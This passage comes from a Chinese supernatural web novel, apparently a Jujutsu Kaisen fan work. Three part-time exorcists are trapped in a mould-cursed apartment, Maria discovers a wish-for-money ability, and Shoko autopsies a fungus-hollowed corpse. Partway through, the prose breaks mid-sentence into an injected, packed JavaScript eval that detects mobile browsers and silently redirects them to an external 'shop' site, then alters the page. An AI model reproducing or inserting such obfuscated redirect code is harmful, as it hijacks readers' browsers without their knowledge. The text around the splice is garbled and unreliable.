于是优吾叔叹了口气:“明白了,总之,我在证明平安之后,要怎么做看你们……”也许这也算是他的找补吧,神父咳嗽了一声,“不过、我离开之后,会去外面联系中介帮你们调查……我看看有没有办法联系上窗,让强大的灵能力者或是咒术师过来这里看看……” 他会在七天到来之前努力提供帮助。 几人做好了约定—— 然后西山优吾翻到了走廊扶手外面,直接跳下了一楼。 * 他护住了脑袋,而楼下也是一些公寓旁边的草皮,是以……以玛利亚的视角来看,神父应该没受什么伤。 二楼的三人有些着急。 光头吆喝:“喂!没事吧!?” 西山优吾留给他们的只有背影,身体顿了好一阵,像是关节受损了……行动有些迟缓。 他先是没回答,只是沉默地低头看着自己的双手,又往外走了两步,像是腿脚不太听使唤,先摔了一跤,爬了几步,才重新站起来。 “摔伤了吗!?”麻里有些紧张。 好像这才听见呼唤……神父西山优吾抬起头。 他们首先注意到……他的脸上,那是一个欣喜若狂的笑容。 开心的男人挥起一只手:“快来吧!”他呼唤着楼上的几人。 然后他又重复了一遍。 “快来吧!” 这声音带上了催促。 快来吧! * 第二天的白天。 东京。 玛利亚那边的事情暂且按下不表,咒术高专这里,学生们的事情又有了新的进展。 “真菌的寿命?” “我怎么知道……取决于菌种、营养、温度之类的吧,嗯,七天?可以的。” 此刻,家入硝子一边以肩膀和耳朵夹着电话听筒,一手转着笔,回答着电话对面的问题。 电话的那头是灰原雄。 这位学弟在外面的工作出现了突发状况,所以打电话找硝子帮忙——但说是工作的状况。 其实应该说是在回来的路上。 ……捡到了奇怪的病人。 因为病灶还带着咒力,姑且联系了硝子。 虽然硝子根本不想管这个闲事:“真菌感染的话去吃抗生素啦,不过能对真菌起效的药物本来就很少……送去医院吧,嗯?不行?因为带着奇怪的咒力?” 她坐在转椅上,一边听着电话一边转圈。 看到夏油杰回到了高专,踏进了医务室的门,硝子跟他点了点头,随手就指向了走廊尽头那边…… 那个辅助监督在那边走廊尽头的病房,已经清醒了。 而昨天晚上,夏油杰为了收服咒灵废了好大功夫——主要是要确保不会直接把咒灵祓除,控制力道花了不少时间。 ——总之熬了个大夜。 夏油杰有些困倦地和硝子点了点头。 “五条呢?”硝子捂住话筒,用口型发问,“不是说回来了吗?” 丸子头男高摊了摊手,虽然看到硝子捂住话筒,他说话的时候仍用的气声:“悟说要在宿舍打游戏。” 据说是之前被五条家突然叫走,游戏存档都搁置了。 然后他才对硝子的事情起了好奇,夏油杰骨节分明的手比出了一个打电话的手势:“咒灵?” 他大有——如果是麻烦的事情,让他来解决也无妨的意思。 而硝子摇了摇头,露出了个艰难思考的表情。 “是已经解决的事态……吧,收尾有些问题,所以问我能不能用反转术式帮忙治疗。” “谁提的要求?” “一年级的灰原。” “啊……是吗。” “他很喜欢你吧?夏油前辈~” “饶了我吧。” 对这个很快失去了兴趣,夏油杰苦笑着摆摆手,往辅助监督的房间去了。 但他的笑容在离开医务室之后就落了下来。 眼下带着青黑,满脸疲惫,走在走廊上,终于落单的男高困倦地摸出口袋里的咒灵球,他厌恶地看也不看,就闭着眼睛往嘴里塞了进去,艰难地往下吞咽。 然后。 夏油杰前进的脚步几乎是立刻就停了下来。 他迅速清醒了过来——夏油杰睁开眼睛看向了自己的手,又迅速伸手摸进了口袋里,拿出了另一个咒灵球。 ……拿错了。 他以为自己吃下去的是昨晚收服的那个,但困倦之下,被吞进去的却是另外一个。 ——是那枚可疑的古钱币上,凭依的咒灵。 但吃错了并不是重点,当然,这也是个很严重的问题。 夏油杰脚步迟疑,他下意识捂住了自己的嘴巴,睁大的眼睛里满是动摇。 他犹豫了好久,久到身形都在走廊里凝固了。 “……甜的?” 有些恍惚,像是梦游一样的声音,哪怕在手的遮掩下,也飘了出来。 为什么咒灵球会是老式和果子,羊羹的味道? * 而硝子一手撑着脸,听着电话那边学弟的嘀咕。 她叹了口气:“都说了,要用反转术式给别人恢复肢体是很难的……感染的位置是哪里?嗯?带着咒力的菌群……我都说了我不是这方面的专家,灰原,不要随便在路上捡昏迷的病人……啊,有这方面的特殊尸体啊。” 本来想拒绝帮忙来着,但是对方提到了一个昏迷的病人,和一个带着陌生咒力的尸体。 硝子对解剖来了兴趣。 电话里高亢的声音有些刺耳。 于是她将话筒拿开了一点,等消停才重新贴在了耳朵上:“嗯,知道了——所以呢,感染的位置是哪里?” 她抽出一支笔,记下了灰原雄告知的位置,但听着听着,语气里就出现了迟疑。 “……啊。” 眼睛的后面? 12.凶宅获取 神父在楼下向几人招手。 而玛利亚盯着楼下笑着的西山优吾,她心意已决所以没有动。 而麻里带着犹豫看向了光头——那位僧侣在眯着眼睛瞧了西山优吾一会儿之后,终于松了一口气。 “……没看到诅咒!”得出结论,光头的语气迅速放松了下来。 确认了‘安全’,这家伙看了还在二楼的另外两人一眼,衡量了片刻之后,还是打算离开了。 这么说着光头就开始了行动。 但去和西山优吾集合之前,永野薰还是从口袋里摸出了两张一万日元的纸钞,塞到了玛利亚手里。 玛利亚看了看已经翻到围栏外的他。 又低头看了一眼手里的钞票。 这还是难得的……虽然拿到了钱,心里却不如以往雀跃的情况,陌生的情绪让玛利亚不知道如何反应。 那个待人总是十分粗暴的家伙却别扭地压低了语气。 “虽然不知道那些东西躲到了楼里的哪里,而且,我也不清楚你这个笨蛋的灵力是怎么回事……但现在看来,你应该用得上这个吧。” 以金钱为燃料、效果不明的超能力。 * 被提醒这几天的劳动成果全都付之一炬这件事,玛利亚一贯阳光明媚的脸上已经出现了微妙的肌肉脸阴影。 但那很快就被打散了:“喂、没神经的家伙就不要露出那种表情了!” 旁边的麻里咳嗽了一声,显然是明白了光头的想法:“……我这里也有钞票,你不用给玛利亚、” “……而且光头先生这样总感觉像是在立什么FLAG一样。”被敲头的玛利亚嘀嘀咕咕。 已经到了这个关头,光头也没了总是和玛利亚大呼小叫的心情:“总之我会想办法找人帮忙……在这之前先别死了啊。” 他露出了肉痛的表情,说着又摸了几张纸钞出来塞到了玛利亚的手里。 她接过钞票。 刚想说什么,脑海里却突然闪过了被触发的记忆碎片。 玛利亚的眼睛突然睁大了:“……啊。” 两个大人看了过来。 “好像、这种事情以前也发生过……”玛利亚话说得有些迷糊,她歪着脑袋,“有人给我钱。” 她曾经看过类似的画面,以接受金钱的角度。 麻里和光头都看了过来—— 永野薰皱起眉头:“收钱……?” “想起什么了?” 两个大人交换了有些紧张神情,都看向了她。 “嗯。”玛利亚点点头,“身上所有的纸钞、钱币……?还是什么的……在神社里。” 两个大人在听到神社的时候已经松了口气。 此刻,在玛利亚脑袋里出现的是有人抛起钱币的画面,和金属当啷一声、落入功德箱的声音。 那个人闭上双眼,他低头轻声说着什么,然后用力摇动起了悬挂在木箱前的破旧铃铛。 对方的身影已经变得非常模糊了,因为背着光,玛利亚的视角只能看到阳光在他的头顶折射出一道光斑——和现在光头桑给钱的画面重叠在了一起。 玛利亚已经想起来了对方说的话了。 两个大人都露出了有些紧张的表情。 “……还想起了什么,是和你身份有关系的吗?父母呢?”光头催促。 而怕打断玛利亚的思考,麻里姐直接对光头比了一个嘘的手势。 而玛利亚仰起头,只是跟随着本能,不去思考它是否合理,只是感受自己当下对这件事到底是怎么想的。 “……是一个愿望。”那个记忆中的身影。 两个大人点了点头。 “是什么?” “是玛利亚你自己的愿望吗?” 玛利亚思考了片刻,摇了摇头。 “有人在祈祷……头发。” 两个大人都沉默了下来。 只有玛利亚毫无紧张感,复述着记忆碎片里面的只言片语:“‘如果有人听到的话……拜托、我想、’”她话还没说完。 光头已经光速收回了认真的表情,额头冒起青筋:“把钱还来。” ——把我的认真、感动和真挚还来! “我真的没有在开玩笑啦!” “我这是为了修行剃掉的!还有发茬的!” “又没说光头桑是秃头!”是记忆里面的那个人啦! 玛利亚比手画脚,脑袋里只有那个穿着厚实外套,模糊人影的许愿—— ‘竟然在山里这种地方也有废旧神社……如果真的有神明、如果有人听到的话……拜托、要不然真的给我再长点头发吧(笑)……至少都在这个点了,作为秃头死去也太可怜了。’ 但她的比手画脚明显没有传入光头的内心。 “把钱还来!” 不过他话是这么说,也没有把钱收回来的意思,光头只是扯着玛利亚脸颊两侧就把她当成连锁火锅店的扯面一样直接甩了起来。 “等等、永野先生……搞不好玛利亚以前是在神社工作生活也说不定、总之……!”麻里姐手忙脚乱地劝起了架。 “这家伙绝对是故意的!” 而玛利亚则是一边被甩着,一边注意到了其它的事情。 “我好像听过很多人说过自己的愿望。”这么说着,玛利亚的手下意识就比出了一个金钱的手势。 这当然被光头看到了——简直是火上浇油,他下一秒就起了背摔玛利亚制裁的想法、 但是。 被从背后抱住胳膊,已经被倒过来的玛利亚唔了一声:“……但是,薰先生是在为我许愿呢。” 虽然不太记得过去的事情,她却总感觉是第一次——将钱交到她手里的人不是告知自己的愿望…… 而是为了她、为了玛利亚许愿。 光头完全无法理解玛利亚在说什么,他维持着后仰的姿势哈了一声。 “你这不明·明就知道我的名字吗。”无情的声音从玛利亚的身后传来。 “啊。” “等事情结束之后我绝对会狠狠揍你一顿的!还有!平地也会摔的家伙就给我好好锻炼身体再说干灰色兼职的事情——!” 这下,连麻里姐都不得不吐槽了起来:“光头桑你这样真的像是电影里下一秒会死掉的悲情角色、” “喂、不要连你都叫我光头桑……而且敬语是怎么回事,我比麻里小姐年轻吧?!” “诶……” 虽然毫无原因。 玛利亚思考了片刻。 她将钱装在了口袋里,已经给出了这种结论:“我想……光头先生会没问题的。” 而永野薰最后也拿她没办法,大高个把玛利亚放下之后,一脚跨过了走廊的围栏,坐在上面先把神父的行李丢下去,然后自己也打算往下跳—— * 而顺着金钱入袋。 玛利亚的话音和想法将将落下—— 某种飘飘然的感觉飘上了玛利亚的心头,就像是负面情绪已然顺着这句话被消耗殆尽一样。 可能是因为忙碌了一整晚。 肚子又开始饿了。 而此刻的楼顶,夜风吹歪了公寓公用的晾衣杆,本就安装得非常敷衍的铁架子被风吹得歪歪扭扭。 铁架子哐当一声倒下。 它扯到了松松安装在外墙上的线缆,因为金属架子沉重的重量,外墙上的线缆被从墙壁上扯了下来。 然后被扯下的线缆被拉到极限。 它一截截地脱离墙壁的控制,一个又一个固定用的钉子被蹦飞。 终于。 与线缆连接,被简单立在楼宇最高处的电视信号接收器,金属状的卫星锅被一下子猛力带飞了起来。 像是某种由巧合堆叠的多米诺骨牌,一环接着一环的巧合。 一个金属钟摆——被线缆连着的信号接收锅划着一道漂亮的圆摆弧度,就这样飞出了建筑的范围,然后绕了一个半圈、像是钟摆一样往下一落。 嗙! 非常清脆地一声——就这么正正好好,不高一寸也不低一寸。 那个楼顶的卫星锅摆下来,直接敲上了光头肌肉男的后脑勺。 刚才还在发表告别感言的永野薰面上的‘感动’表情还没完全落下—— 一米八几的肌肉男就直接面朝下,砰地一声摔进了走廊里。 他一动不动。 玛利亚和麻里姐被吓了一跳,她们交换了一个眼神,两人都看向了躺倒在地,维持着让人觉得大事超级不妙安静的光头。 然后下一秒钟,两人就都连忙屈身,确认起了光头的伤势。 但一上手却发现—— 那家伙锃光瓦亮的后脑勺上连一点发红都没有,反倒是这会儿被线缆挂在二楼半空中的卫星锅上凹下去了一块。 玛利亚已经放松了下来:“……是光头桑赢了!” “喂喂喂……该不会内出血吧……”反倒是麻里姐神情紧张,她抬头叫住金发恶犬,“玛利亚!” “嗯?” 情况急转直下。 “这样的话也不可能让光、永野君现在就离开——你先跟西山神父说明一下这里的情况。” 麻里姐指着围栏外面的那边。 “我们看看是先让西山神父先去找靠谱的人帮忙,或是在下面接住……算了,永野君这个状态摔下去绝对会出问题的。”而且以两人的体型来说,搞不好西山神父也会被砸出个三长两短。 玛利亚比着OK站起身扒上了走廊的围栏,她正想开口叫人来着。 但在黑暗里打眼一看。 楼下却一个人都没有。 西山神父不知道什么时候已经离开了——公寓的前院此刻空无一人,神父被丢下去的行李就这样被放置在公寓大楼的院子里。 玛利亚眨了眨眼:“……西山神父?”她轻轻喊到。 没有人回答。 就像是那个神父已经不需要行李,只身离开了一样。 * 蹲在光头旁边的麻里姐注意到了玛利亚的沉默:“怎么了?” 于是玛利亚只能回头:“……神父好像先走了。” 就连行李都不要了。 虽然对神父的消失仍有很多疑虑,他到底是去找人帮忙了?还是慌忙到行李都顾不上而逃走了? 两个人都顾不上思考这件事,在这里等神父再出现也不是办法。 玛利亚和麻里商量了几分钟,就决定,今晚还是先找个干净的地方待着好了。 眼睛已经习惯了黑暗,所以两人都没有重新打开电闸,她们只是找了个附近不管是墙面、还是感知都很干净的房间,两人搭着肩膀,把光头拖……拖不动。 两个体力弱鸡看向了倒在地上,一米八几,全身横肉的光头。 在效率和良心之间博弈了两秒。 最后,她们是一人抓着一条腿,像是倒着拖拽尸体那样把光头拖进的房间。 他的后脑勺碰上了门框——嗙! 然后是被玄关磕了一下——咚的闷响。 接着是墙角——吭。 然后是后脑皮肤和木地板摩-擦发出叽叽叽——的刺耳摩-擦声音。 一路上叮咣乱响…… 虽然两个人都没说。 麻里对玛利亚比出了嘴上拉拉链的手势,而金发恶犬则是非常阳光地比了个OK。 不管怎么想——永野薰等到早上才醒,应该和这些事脱不了干系。 * 已经累得不行。 但公寓里是这个情况,两个女生都没法安心下来。 她们只能一起靠着墙壁团坐,有一搭没一搭地说话——但不知道是不是昨晚楼里出现的变故太多。 等了好久……但不管是眼镜、还是那些霉菌都再没出现过。 实在是累得不行,玛利亚最后还是在快天亮的时候睡着了。 她是听着洗手间里面的呕吐声醒来的。 玛利亚揉着眼睛,坐着望着天花板发了半天呆,才发现这会儿只有自己在这间公寓的起居室里。 她肚子饿得半死,这会儿才想起今天应该已经不会有眼镜过来送饭了。 本来只是生理性地饥饿,现在已经变成了精神上的干瘪。 瞬间就从膨胀金发妹收缩成了金发平面二次元。 然后玛利亚这才飘忽忽地来到了洗手间,却发现这场面着实让人有些难以理解…… 光头双手撑着洗手台,随着呕吐,脑袋几乎都要埋在了里面。 而麻里姐则是脸色铁青地看向了她:“你醒了啊。” “啊、光头桑吃坏了东西?”她的关注点明显在‘有东西吃’这点上。 女性前辈轻轻给了玛利亚的脑袋一下:“才不是。”她示意玛利亚看向水槽里。 于是玛利亚只能满是狐疑地看了过去。 一看她就皱起了眉头。 ……这是什么东西? * 打眼一看,玛利亚看到水槽里满是如同污泥一样……混杂着头发、奇怪组织的黑色混-合-物。 这混-合-物里面有一个东西是三个人都认得的。 明明是被吐-出来的东西——但在那团马赛克上面,分明还有一些奇怪的黑色絮状真菌与其它内容物泾渭分明,漂浮在最上面。 玛利亚的眼睛变成了豆豆眼:“……被袭击的人应该就只有我才对吧?”她指着自己,表现得像是个侦探,而脑袋里已经闪过上半夜的袭击事件。 麻里还没跟她说上话。 金发大型犬已经自顾自地猜测了下去。 “该不会……光头桑背着我偷偷被袭击了。”她嘟起嘴巴,“好过分!这不是偷跑吗!” 那边本来已经从一个圆润的卤蛋,吐成了干瘪红枣的光头原地复活:“——是个鬼!”纯粹是被气的。 不过那确实胀起来了。 也不错。 光头打开水龙头,一边嘴里含-着水咕噜咕噜一边一拳砸在金发钉子的头顶。 人格矫正之后。 “……谁会想要偷跑被感染啊!?” 玛利亚这家伙的眼珠子转得飞快:“光头桑明明已经这么做了吧,这种情况……对了!我该不会是被职场霸凌了吧?” “都说了不是了!真是的,不要说这种自己都不懂意思的词汇!”那家伙叹了口气,然后才用力飞快挠了几下自己的光溜溜的头顶,“现在想来,我们搞不好一开始就已经被感染了吧……” 所以玛利亚也消停了下来。 “一开始?感染?” “嗯。” 而还没等到解释,麻里姐已经以消毒水处理完了那边的马赛克,擦着手过来了:“玛利亚。” 玛利亚头顶飘起了问号。 “我们都联络了自己的人脉。”在玛利亚清醒之前,光头清醒之后,两个成年人在能联络上人的第一时间就打了八百个电话出去。 麻里姐联系的是自己的认识的灰色派遣事务所,拜托对方帮忙打听一下之前和这里相关的工作派遣。 而光头……则是联络上了之前自己修行的佛寺,看看有没有和他们这种情况类似的志怪传说或是民俗类的研究。 他们打听到了事情的一部分真相。 * 僧侣那边的调查显然要稍微费点时间。 但麻里姐那边的人脉,在新兴电脑技术的加持下,则是马上就有了一些成果。 “详细的、和这处公寓上一次驱魔的情报还需要时间……” 麻里摊手,毕竟很多时候这种工作并不会留下很详细的明确记录,多少都得靠人对人的口耳相传。 “但是有件事已经能够确定了。” 她把之前和光头交换过的情报告诉了玛利亚——关于上次除灵的事情。 上次对于凶宅的驱邪据说……确实是成功了,虽然这里曾因为住了一个连环杀人犯而坐拥一个班的地缚灵。 但因为它们的怨念本身就很明确,也只作祟一楼角落的房间,在知道杀人犯已经死亡之后,基本上也都被超度了。 除灵几乎没有难度,只是因为灵实在太多,工作人员之后还在这里又待了十好几天诵经而已。 在麻里姐联系事务所打听上一拨人的时候还听说——参加上次工作的职员现在几乎都还在好好活跃着,没有被诅咒的迹象。 “他们一切顺利的话,那我们这里是怎么回事……”等等,玛利亚注意到麻里姐话音里的话头,“‘几乎’?” “这就是重点了。”这么说着,麻里竖起一根手指。 上次除灵的参与者现在都还活蹦乱跳的。 但是。 有一个失踪者。 “我总感觉自己知道那是谁呢……”玛利亚唔了一声。 而麻里姐已经报出了眼镜的名字——大仓圭。 他并不属于参与除灵的人员,而是作为灰兼的协调人员,帮地皮的主家帮忙确认几人工作的,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056732|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一切走上正轨之后。 他在第二天在地下室不小心摔出了骨折,之后就离开了这栋凶宅。 “地下室?” “据说那个凶手曾经在里面藏着不少骸骨……但灵都被除掉了。” 可能确实会有些带着诅咒的菌类,但至少……上次在这里待了十天的灵媒基本上都毫发无损。 总之,大仓从公寓里开之后,就再没有回到自己就职的事务所报道了,而等再次和他建立联络的时候。 已经是他和主家‘商量’之后,决定再聘请一次清洁工——也就是找上玛利亚他们的时候了。 “据说他之前性格软弱,是个很不起眼的人。”麻里姐表情铁青。 玛利亚拖长了诶声:“可是眼镜,嗯……” “完全不像是一个人,对吧?”麻里叹了口气。 “总之,这里面到底发生了什么我们就不清楚了。”旁边的光头叹了口气,“但这样看来,那个混-蛋绝对是在骗人!” 但话这么说。 三个人也已经借由这部分事实,将之前的好几个猜测组合在一起,对事件的大致轮廓有了想法。 除灵成功是真的。 之前的人伙被诅咒是假的。 而眼镜明显是被上次除灵里面的什么东西干扰了,决定骗他们进来,而现在看来的话……提早离开很可能是个陷阱。 “搞不好是有着束缚的诅咒之类的东西吧,比如几天之前离开就生效、或者是,或是距离?在限定时间内和公寓产生一定距离就……?” 但这点除非问眼镜本人,谁也不知道答案了。 三个人又想起了已经翻墙离开,现在消失无踪的神父优吾——他到底是已经顺利脱身了呢?还是陷入了更大的问题呢? 但现在明显不是担心这种事情的时候,所以谁也没说什么。 * 似乎是有些头疼,光头皱着一边眉头,“现在想来,我们应该一开始就已经被这东西侵染了。”他指向玛利亚、麻里还有自己。 这么说着光头叹了口气。 “也是……毕竟霉味道这么重,在闻到味道的瞬间,霉菌就已经进入了鼻腔才对。” 没在这话题里纠缠太久。 然后光头才想起了之前和玛利亚提起的事情:“啊、对了——你们如果有办法的话,也试试看能不能把东西吐-出来吧。” 而他等到的只有麻里姐状似认真在点头,一边嗯嗯附和,却明显没有听懂的回应。 和玛利亚演都不演的:“……fenzi?” “总之就是科学的事情!就是因为它的一部分已经进入鼻腔,人才能闻到味道,明白了吗?” “这只是永野君的猜想吧。” “反正对于这个霉菌的真相,我们根本不可能了解到吧。” 它到底是以什么规则感染,如何才会开始对人造成影响,这诅咒最后会产生什么效果。 “它搞不好还会说话呢。” “……听懂‘异常’的语言对我们来说有什么意义吗?” “不过光头桑连这种事情都知道啊……明明只是筋肉僧侣而已。”玛利亚的表情和脑袋一样清澈,只是感叹。 光头永野薰额头上冒起青筋:“总之——都说了,我还是正经大学生!undergraduate education(本科教育),简称UE!听懂了吗!?” “昂得……什么?”玛利亚从第二个音节开始就没听懂,她看向麻里。 而麻里姐则是流着冷汗半天才憋出来了一句:“abandon?” “够了。” “所以,这代表了……”麻里顺着光头的话思考,表情已经难看了下来。 他们从一开始就已经被‘感染’了,而眼镜想做的事情……只是确保这种感染会发病而已? 那发病了之后会是什么情况……? * 硝子的声音从口罩后传来:“诶……大脑已经完全空了啊……”她低头看着床上的死者,轻轻翻动着视神经和后面连接着的部分,“他到底是怎么维持活动的?真菌形成的垫子替代了大脑皮层吗……” 此刻,倒在解刨台上的是个中年男人。 他的西装和眼镜则是被摘了下来,放在一边的证物台上。 看到了眼球背面还有视神经上被裹满的黑色霉菌,硝子连忙以咒力裹住了眼睛。 “呜哇、危险危险……”她毫无干劲地歪着脑袋,看着镊子上的东西,“视线对上就是竞赛的开始啊。” 在头骨的内部。 在眼睛的后面。 是谁也看不到、可以自由活动的空间。 然后硝子将霉菌放上显微镜的玻片上,看了许久,才有些疑惑地抬头眨了眨眼。 “……嗯?”她感兴趣地诶了一声,“……这不是快死了吗?” 眼前的情况再清楚不过。 这个菌簇……只剩下两三天的寿命而已,因为孢子已经释出,要是这几天没能繁殖并将自株分离出去的话,没能分离出去的子株,应该会和耗尽的母株一起死去。 “什么啊……这不是‘竹子’吗?” * 而另一边。 光头……终于趁着白天重新检查公寓,在落单的时机里叫住了玛利亚,他故意避开了麻里。 “……玛利亚。” “嗯?” “其实,昨天晚上……”光头皱着眉,明显是在仔细斟酌着用语。 而以为他想起被自己和麻里姐在地上叮咣拖行的事情,玛利亚的后背几乎是马上就爬满了冷汗。 但光头说的话却和玛利亚的猜想相距甚远。 “这个无限的回廊和楼梯,果然是玛利亚做的吧。”就是因为不确定这件事要不要让麻里知道,他才会单独叫住玛利亚。 万幸没有穿帮,但没搞懂他的意思,玛利亚只是指着自己:“我吗?” “嗯……”光头皱着眉,“因为你不想出去。”他都看到了,昨晚玛利亚身上突然炸开的灵力,不过当时情况太紧急,是以光头也没能仔细观察。 “但是,我根本不知道自己做了什么,也没有在操作什么的感觉……” 玛利亚试图回忆自己是否有气沉丹田、或是运用什么力量在身体里流转的感觉,但什么也没感觉到。 而光头想也不想:“钱不是烧起来了吗,虽然不知道原理,但肯定是你的能力做了什么。”既然现在已经知道,眼镜的意图大半是让他们离开公寓,而不是留下。 那让他们走不了的,就不会是霉菌和眼镜。 而应该是玛利亚。 从她想起的记忆也能看出……果然,玛利亚的特殊能力,果然就是某种金钱和愿望的交换吧。 提到被燃起来的心血,玛利亚想也不想就大声抱怨了起来:“可是,只是重复一下楼梯就要收我十几万日元也太过分了吧!至少、至少……” 如果真的有那种能力,她绝对要对着它讨价还价。 “至少也要公平交易,一层楼三四千円我还是能接受,就不能先……” 而这胡话还没说完就已经被光头砸在了头顶。 “那你倒是说说,超能力要怎么给你找零啊你这个笨蛋。” 发现自己差点被她带着跑,光头紧急咳嗽了一下,刹住了车:“不对,我要跟你说的不是这一点。” 他要说的是收尾工作。 这么说着。 “反正,如果是你做的,玛利亚……”光头指向了旁边的走廊,“那你能把它变回去吗?” 在几下巡逻之后三人发现,这走廊好像已经变成了白天正常,晚上就陷入无限循环的模式。 小命安全是一回事,但是…… 作为被请来清洁的灰兼打工仔。 把人家被靠谱灵媒‘认证’为已经除灵的房子,‘清洁’成了这个模样,等事件结束之后该怎么办啊? 玛利亚沉默片刻。 然后她的瞳孔抖动了起来,金发笨蛋比手画脚:“可是……嗯、你看,这只是自动扶梯啦自动扶梯,健身房里不也有那种走不到头的爬山机和跑不到头的跑步机之类的吗!?” 她多少带着点医生指着拍片结果告诉病患——你肺上有点阴影,不过不用担心,我已经把它P掉了的架势。 玛利亚举起一根手指——既然只有晚上是异常的话。 “晚上不出门不就、” 她被BONK一下砸到了脑袋上。 13.两个笨蛋1 被教训了一顿,玛利亚完全陷入了破罐子破摔的状态。 这楼里的状态确实是个问题。 但是。 “……这不是很适合,嗯,很适合作为学生宿舍之类的吗,你看晚上都没法出门、”金发笨蛋一边装着深沉一边说着歪理,“家长肯定很喜欢这种地方的。” “没人会给孩子租这种可疑的地方的。” “可是,这里的霉菌房主肯定也脱不开干系吧!我们算被害者诶!” “这个得等我们做完全部调查再说。” “都怪眼镜啦。” “但是抓不到他不是吗。” 玛利亚眯着眼睛:“这里本来就是凶宅吧?” “听好了,绝对——会被赖上的。”这里已经有好几个灵能力者成功驱邪的记录,怎么样也比他们几个临时工说的话靠谱。 不。 如果是灰色兼职工的话。 比临时工还要倒霉一点。 高额的报酬里本来就已经包含了从天而降的黑锅和不可控的风险。 “早知道不干灰兼了。” “太晚了!”她的脸说着就被光头捏成了)3(的模样。 光头叹了口气:“总之,我会帮你想想办法的——在这之前,除了我之外,不可以和别人说你的能力的事情,明白了吗?” “那麻里姐……” “她家里还有个需要治疗的妈妈……而且,玛利亚觉得她为什么会这么照顾你呢?” 金发笨蛋眨了眨眼。 “我有听说过那个麻里的事情噢——据说一开始的时候,她是和亲妹妹搭档一起工作的。” 但麻里姐现在只剩下了一个人。 总而言之。 光头认为—— 玛利亚的这种能力,要是遇到被许下无法实现的愿望,或是许了愿也没法实现的情况就麻烦了。 ……毕竟一般来说,再怎么奇怪的能力,也会存在代价,而且许愿肯定还是存在一个上限。 “总之,绝对不可以告诉、”但光头这话还没有说完。 走廊的另外一头已经传来杯子被打碎的声音,一高一矮、一个光头一个乱发同时看了过去。 是麻里姐。 她满脸震惊,只是盯着玛利亚和光头好长时间说不出话:“……什么能力?”不过好消息,她应该才来不久,没有听到和这栋楼真相有关的事情。 于是光头只是咳嗽了两声,开始扯起了谎:“只是说玛利亚应该可以在一定程度上利用金钱完成驱魔……对、对吧!玛利亚!”高大的肌肉卤蛋偷偷对他挤眉弄眼。 “……”但非常可惜的是,玛利亚非常不善于说谎。 她在脑袋里打上了腹稿,却因为实在是不擅长演戏——最后情况就变成了这样。 “就、就是啊——我·也·不·知·道,竟·然、那、那什么可以驱·邪……” 光头叹了口气,一巴掌糊在了自己的脸上。 两个人超级深刻和真挚的隐瞒计划,几乎是在一开始就失败了。 不过。 麻里姐在搞清楚了来龙去脉之后,倒也没有像光头预料的那样行动,这个灰色兼职的女性前辈思考了片刻,并没有生气,只是露出了哭笑不得的表情。 “虽然我确实有想要实现的愿望,而且按照你们的说法,玛利亚的能力确实是可以达成某种程度上的等价交换。” 玛利亚吞了吞口水。 然后这位前辈提出了一个非常现实的能力漏洞。 “……可是,没钱的话也做不到吧。”说得好像许得起愿望一样,“而且,我为了挣医药费本来就需要挣到一个天文数字。”对她来说根本没有什么区别。 钱不是问题,问题是没钱啊! ……毕竟有钱的话就不会来干灰色兼职了。 于是三个人都陷入了尴尬的沉默。 光头难得露出了恭顺的表情:“是、是呢……” 而此刻身上只剩下光头给他的几万円和一些零钱的玛利亚更是从未如此卑微。 “不过,如果可以的话,玛利亚能帮我试试能不能减缓一下病情就好了……我会准备好代价的。”麻里姐露出了柔和的微笑。 于是玛利亚又恢复了精神,她高举握拳双手,兴高采烈地比出了好耶姿势:“交给我吧!” ……如果有钱的话。 * 不过讲得很美。 毕竟三个人已经预定了要在公寓里待上至少七天,他们还是对整栋楼都进行了地毯式的搜索和清洁。 “虽然感觉待够足够时间应该就是安全路径,但总觉得很不安心啊。”麻里姐站在四楼的最高处,对通风管道熏着消毒液。 不过很可惜的是。 他们什么都没有找到,像是那些霉菌直接从楼里消失了一样。 而且。 还有个问题亟待解决。 ——随着时间来到中午,玛利亚的肚子第三次咕噜噜地叫了起来。 眼镜不知道跑哪里去了——早知道就晚点拆穿他了。 霉菌也找不到。 但是三个人既不能离开公寓,也不能让别人进来跟自己一起坐牢——要吃什么? 要是因为诅咒而害怕得吃不下饭还好,关键……玛利亚现在饿得就连诅咒都能吃下去了。 反倒是那两个前辈在纠结了片刻之后,同步地看向了玛利亚——有些迟钝的金发笨蛋指着自己。 “我?” “玛利亚,伸手。” 然后她的手里直接就被塞下了一枚500円和100円的硬币,还有一张1000円。 “玛利亚,实验一下吧。”麻里姐笑着拍了拍她的肩膀。 光头表情深沉:“我喜欢吃的是老家那边的烤肉定食。” 两人说话间就已经起了利用玛利亚的特殊能力搞点东西吃的如意算盘。 ……怎么连菜都点上了。 而且。 “光头桑的老家是?” “噢,我是北海道出身……” 不走心地听着要求,玛利亚诶了一声:“也太远了吧。” 然后就被光头敲着脑袋命令赶紧实现愿望了。 “你不是能嗙地一下实现愿望吗,这也是测试你的极限啊,玛利亚。” “我可是会了超级厉害的超能力诶——”觉得自己很了不起,就差要飘起来的金发许愿机嘀嘀咕咕。 麻里姐从背后揉捏着她的肩膀:“你不是饿了吗?那就是人类吧。快点啦,已经要过午饭时间了!” 但是,虽然话是这么说—— “都说了我也不知道该怎么操作……而且。”金发贩卖机眯着眼睛看着手里的现金,“至少服务费得给吧,百分之13。”提起钱那股吝啬劲儿就冒出来了,她总感觉原价干活很亏。 “明明不知道自己的能力之前还很老实的啊,玛利亚,金钱腐蚀了你的心吗?” “我倒是想得到可以让我人格变质那种程度的金钱……!”内心非常纯净的未成年直接顺杆就往上爬,哪怕是灵魂被腐蚀,她也想尝尝那种味道,“等我被腐蚀够了之后再被好人打败就行了!” 她一点道德包袱也没有。 “那种梦我也在做,快点干活。” “……又不是需要交税!你抽成只是为了自己而已吧,玛利亚。” 玛利亚没有回嘴,但已经露出了皿字撇嘴。 她自己也没吃过烧肉定食!玛利亚自己都是去便利店买最便宜的半价便当的,也才300円而已! 